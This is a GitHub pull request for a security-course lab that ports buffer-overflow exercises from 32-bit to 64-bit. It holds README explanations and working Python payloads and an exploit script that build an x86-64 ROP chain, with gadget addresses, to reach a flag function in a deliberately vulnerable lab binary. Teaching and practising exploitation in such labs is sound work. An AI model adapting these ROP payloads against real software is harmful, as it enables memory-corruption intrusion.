-
Notifications
You must be signed in to change notification settings - Fork 53
Lab12 port 32-bits to 64-bits #132
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,10 @@ | ||
| # Binaries | ||
| solution/buff-ovf3 | ||
| support/buff-ovf3 | ||
|
|
||
| # Object files | ||
| *.o | ||
|
|
||
| # Build artifacts | ||
| solution/obfuscator | ||
| solution/deobfuscator |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -9,6 +9,57 @@ By using the buffer overflow in `gateway()`, functions `f1(56, 13)` and `f3(13)` | |
| `f3` is the one that actually calls `get_flag()`. | ||
| Calling `get_flag()` directly shouldn't work (a global variable is checked to make sure all steps were made). | ||
|
|
||
| ## x86-64 (64-bit) Solution | ||
|
|
||
| In x86-64, function parameters are passed through registers: | ||
|
|
||
| - First parameter: `RDI` | ||
| - Second parameter: `RSI` | ||
|
|
||
| We need a ROP (Return-Oriented Programming) chain to: | ||
|
|
||
| 1. Call `f1(56, 13)` by setting `RDI=56` and `RSI=13` | ||
| 1. Call `f3(13)` by setting `RDI=13` | ||
|
|
||
| With static linking, natural ROP gadgets from libc are available: | ||
|
|
||
| - `pop rdi; pop rbp; ret` at `0x4022c8` | ||
| - `pop rsi; pop rbp; ret` at `0x4050a6` | ||
|
|
||
| Since these gadgets also pop RBP, we need dummy values after each parameter. | ||
|
Comment on lines
+24
to
+29
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Add a section in the lab's reading/ file about ROPgadget is cool because it also looks at arbitrary offsets in the text section so those instructions may not exist explicitly, for example the end of an instruction + the beginning of the next one can create a gadget. In addition, using |
||
|
|
||
| The exploit payload structure: | ||
|
|
||
| ```text | ||
| [18 bytes padding] + | ||
| [pop rdi; pop rbp; ret] + [56] + [dummy] + # Set RDI = 56 | ||
| [pop rsi; pop rbp; ret] + [13] + [dummy] + # Set RSI = 13 | ||
| [f1 address] + # Call f1(56, 13) | ||
| [pop rdi; pop rbp; ret] + [13] + [dummy] + # Set RDI = 13 | ||
| [f3 address] # Call f3(13) | ||
| ``` | ||
|
|
||
| Run the exploit: | ||
|
|
||
| ```sh | ||
| ./exploit.sh | ./buff-ovf3 | ||
| ``` | ||
|
|
||
| Or using Python: | ||
|
|
||
| ```sh | ||
| python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x56\x93\x04\x08" + b"\x00\x93\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ./buff-ovf3 | ||
| python3 -c 'import sys; sys.stdout.buffer.write( | ||
| b"A"*18 + | ||
| b"\xc8\x22\x40\x00\x00\x00\x00\x00" + | ||
| b"\x38\x00\x00\x00\x00\x00\x00\x00" + | ||
| b"\x00\x00\x00\x00\x00\x00\x00\x00" + | ||
| b"\xa6\x50\x40\x00\x00\x00\x00\x00" + | ||
| b"\x0d\x00\x00\x00\x00\x00\x00\x00" + | ||
| b"\x00\x00\x00\x00\x00\x00\x00\x00" + | ||
| b"\x7f\x1a\x40\x00\x00\x00\x00\x00" + | ||
| b"\xc8\x22\x40\x00\x00\x00\x00\x00" + | ||
| b"\x0d\x00\x00\x00\x00\x00\x00\x00" + | ||
| b"\x00\x00\x00\x00\x00\x00\x00\x00" + | ||
| b"\x31\x1a\x40\x00\x00\x00\x00\x00" | ||
| )' | ./buff-ovf3 | ||
| ``` | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,7 +1,15 @@ | ||
| #!/bin/bash | ||
| # SPDX-License-Identifier: BSD-3-Clause | ||
|
|
||
| python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x56\x93\x04\x08" | ||
| + b"\x00\x93\x04\x08" | ||
| + b"\x38\x00\x00\x00" | ||
| + b"\x0d\x00\x00\x00")' | ../support/buff-ovf3 | ||
| # x86-64 ROP chain exploit | ||
| python3 -c 'import sys; sys.stdout.buffer.write( | ||
| b"A"*18 + # padding | ||
| b"\xdd\x13\x40\x00\x00\x00\x00\x00" + # pop rdi; ret | ||
| b"\x38\x00\x00\x00\x00\x00\x00\x00" + # 56 (first param for f1) | ||
| b"\xea\x13\x40\x00\x00\x00\x00\x00" + # pop rsi; ret | ||
| b"\x0d\x00\x00\x00\x00\x00\x00\x00" + # 13 (second param for f1) | ||
| b"\x6c\x13\x40\x00\x00\x00\x00\x00" + # f1 address | ||
| b"\xdd\x13\x40\x00\x00\x00\x00\x00" + # pop rdi; ret | ||
| b"\x0d\x00\x00\x00\x00\x00\x00\x00" + # 13 (param for f3) | ||
| b"\x16\x13\x40\x00\x00\x00\x00\x00" # f3 address | ||
| )' | ../support/buff-ovf3 |
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Remove the solution from here. |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,13 @@ | ||
| # Binaries | ||
| solution/main | ||
| support/main | ||
|
|
||
| # Object files | ||
| *.o | ||
|
|
||
| # Build artifacts | ||
| solution/obfuscator | ||
| solution/deobfuscator | ||
|
|
||
| # Keep the precompiled link object (should be tracked) | ||
| !support/link |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -10,7 +10,19 @@ This is a clear indicator that we have to find a way to call it ourselves. | |
|
|
||
| We define a `get_flag()` function prototype as void (you may be able to skip this step, but there will be an implicit declaration error during compilation) and we call it in our main function. | ||
| We then compile and assemble the file: | ||
| `gcc -g -m32 -fno-PIC -c main.c` | ||
|
|
||
| ```bash | ||
| gcc -g -m64 -fno-PIC -c main.c | ||
| ``` | ||
|
|
||
| We then link it to the `link` binary: | ||
| `gcc -no-pie -m32 link main.o -o a.out` | ||
|
|
||
| ```bash | ||
| gcc -no-pie -m64 link main.o -o a.out | ||
|
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Update the |
||
| ``` | ||
|
|
||
| Run the executable: | ||
|
|
||
| ```bash | ||
| ./a.out | ||
| ``` | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,13 @@ | ||
| # Binaries | ||
| solution/main | ||
| support/main | ||
|
|
||
| # Object files | ||
| *.o | ||
|
|
||
| # Build artifacts | ||
| solution/obfuscator | ||
| solution/deobfuscator | ||
|
|
||
| # Keep the precompiled link2 object (should be tracked) | ||
| !support/link2 |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,10 @@ | ||
| # Binaries | ||
| solution/buff-ovf | ||
| support/buff-ovf | ||
|
|
||
| # Object files | ||
| *.o | ||
|
|
||
| # Build artifacts | ||
| solution/obfuscator | ||
| solution/deobfuscator |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
All is 64 bits, no need to write it.